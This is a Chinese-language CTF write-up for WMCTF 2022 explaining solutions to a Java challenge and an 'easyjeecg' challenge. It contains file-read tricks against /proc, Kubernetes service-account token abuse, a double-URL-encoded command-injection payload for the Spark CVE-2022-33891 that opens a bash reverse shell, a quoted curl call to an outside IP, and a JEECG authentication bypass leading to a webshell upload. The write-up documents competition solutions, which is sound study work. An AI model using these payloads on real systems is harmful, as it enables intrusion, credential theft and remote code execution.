wmctf2022
java
- 比较快的解法
此解法在r3那里拿了3血
发现那个url栏目可以file协议读文件,随后尝试file:///时可以直接枚举当前目录下的文件,
直接可以知道文件名,此外,发现file:///proc/self/cmdline可以直接读到tomcat绝对路径,这样一来找其webapps目录下就可以找到源码(刚好有个war包可以下载 file:///usr/local/Tomcat8/webapps/ROOT.war)
而源码里面又有个main.class,里面有段东西(后面再下载的时候就没有了,怀疑是被我们当时非预期看到了,后面就顺着这里面给的提示做了)
try {
System.out.println(URLEncoder.encode("%3Bcurl+http%3A%2F%2F101.42.246.196%3A8080%2F66.html%3E%2Ftmp%2F60.html", "utf-8"));
inputStream = null;
try {
inputStream = new URL(URLDecoder.decode("http://127.0.0.1:2335?doAs=%253Bcurl%2Bhttp%253A%252F%252F101.42.246.196%253A8080%252F66.html%253E%252Ftmp%252F60.html", "UTF-8")).openConnection().getInputStream();
inputStream.close();
} catch (Exception e) {
e.printStackTrace();
inputStream.close();
}
} catch (Throwable th) {
inputStream.close();
throw th;
}
与此同时在信息收集的过程中,直接爆破pid,可以找到一个内网网段10.244.0.1/16,
直接扫描网段
可以看到有一个服务—— spark,
容易联想到那个CVE-2022-33891 https://blog.csdn.net/qq_51577576/article/details/126332970
但是看代码有过滤反引号及其url一次编码和二次编码,所以问题转化为如何绕过
刚才说main.class里面http://127.0.0.1:2335?doAs=%253Bcurl%2Bhttp%253A%252F%252F101.42.246.196%253A8080%252F66.html%253E%252Ftmp%252F60.html
这个其实就是暗示我们用分号+url双编码利用这个洞(分号绕过了反引号的检测)
原因是触发漏洞的底层源码是bash -c,可以堆叠注入
最终payload
url=http://10.244.0.93:8080?doAs=%253bbash%2520-i%2520%253e%2526%2520%252fdev%252ftcp%252fip%252f8888%25200%253e%25261&Vcode=
- 预期解法是
感觉大部分战队都是这种解法吧,据vn说是的
其实除了发现内网网段的方式比较符合预期以外,其他的做法和上面第一种做法是一致的,那么这里是如何发现内网地址的呢
在任意文件读取的时候,可以发现内网存在k8s集群服务
首先读取/proc/self/environ
里面有个token是很神奇的,这是k8s的部分api的访问token(参考这篇文章https://support.huaweicloud.com/api-cci/listCoreV1NamespacedPod.html)
注意token是图中高亮的部分
cookie中发现存在一段Jwt,jwt.io解码发现:
{
"alg": "RS256",
"kid": "MH7DqKI7SLagYcby5ZA7XNLogLqWK9xy5uDvk_siJ1c"
}
{
"iss": "kubernetes/serviceaccount",
"kubernetes.io/serviceaccount/namespace": "default",
"kubernetes.io/serviceaccount/secret.name": "ctfer-token-pz5lm",
"kubernetes.io/serviceaccount/service-account.name": "ctfer",
"kubernetes.io/serviceaccount/service-account.uid": "b8686418-9cb8-426b-8d
"sub": "system:serviceaccount:default:ctfer"
}
这里值得注意的是出现了service-account.name,这里可以看到是ctfer
源码里面会把我们请求的Header在new URL时转发过去,结合上面我们获得的Token和service-account.name,我们尝试去请求 k8s的API:
这里借用了vn师傅的图
我自己复现的时候由于token复制黏贴错了所以一直500
下面还是借用别的师傅的图片
easyjeecg
这题考察的是审计springcms的能力
根据题目描述很快可以找到这个cms相关的漏洞:JAVA代码审计-JEECG快速开发平台(一) - 先知社区 (aliyun.com),不过都需要登陆才行
flight师傅思路是:
看spring-mvc.xml,[Spring MVC配置文件详解 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/27650098#:~:text=Spring MVC项目中通常会有二个配置文件,sprng-servlet.xml和applicationContext.xml二个配置文件,通常会出现以下几个配置 1. ,它的作用是隐式地向 Spring 容器注册 AutowiredAnnotationBeanPostProcessor、CommonAnnotationBeanPostProcessor、PersistenceAnnotationBeanPostProcessor、RequiredAnnotationBeanPostProcessor 这4个BeanPostProcessor。)
原本这有两个登录接口方案,其中方案2是没被注释正在生效的
可以看到绝大多数的路径都需要登录,唯独下面这个toLogin.do采用方案1jwt接口验证即可,那么结合源码(因为访问其他的路由没有登录会跳到timeout页面,咱们定位一下)
当请求的path中存在toLogin.do的时候不会经过AuthInterceptor的鉴权校验,所以可以通过/toLogin.do/../xxx来访问被AuthInterceptor保护的路由
之后根据https://xz.aliyun.com/t/4405向这个类传马就行,必须jspx的马